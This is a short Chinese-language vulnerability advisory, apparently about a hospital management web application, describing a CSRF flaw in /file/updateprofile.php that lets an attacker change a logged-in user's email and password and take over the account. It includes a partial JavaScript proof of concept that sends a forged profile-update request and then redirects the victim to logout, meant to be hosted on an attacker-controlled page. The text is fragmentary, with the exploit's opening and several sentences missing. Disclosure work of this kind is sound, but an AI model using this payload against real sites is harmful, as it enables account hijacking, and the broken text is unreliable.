/file/updateprofile.php端点 /file/updateprofile.php 存在一个CSRF漏洞,允许远程用户更新医院用户的详细信息,并可能导致账户接管,因为攻击者可以更新从电子邮件到密码的所有信息,从而有效增加账户接管的机会。
成功利用可能导致代表受害者执行未授权操作,例如删除数据。此外,受害者访问带有payload的恶意网站也可触发此漏洞。
下面是一个CSRF POC攻击的示例,它更新已登录医院账户的个人资料详情。将该文件托管在攻击者控制的域上,在我的情况下我使用了localhost:

注销CSRF,从而实现账户接管。

xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
// When the request is complete, redirect to the logout page
xhr.onload = function() {
if (xhr.status === 200) {
console.log("Profile update CSRF request completed");
// Redirect to logout URL to log the victim out
window.location.href = logoutUrl;
} else {
console.error("Profile update failed with status:", xhr.status);
}
};
// Send the request with the update data
xhr.send(updateData);
}
// Trigger the CSRF attack by sending the update request
sendCSRFUpdate();

csrf tokens,同时避免GET请求执行状态更改操作。
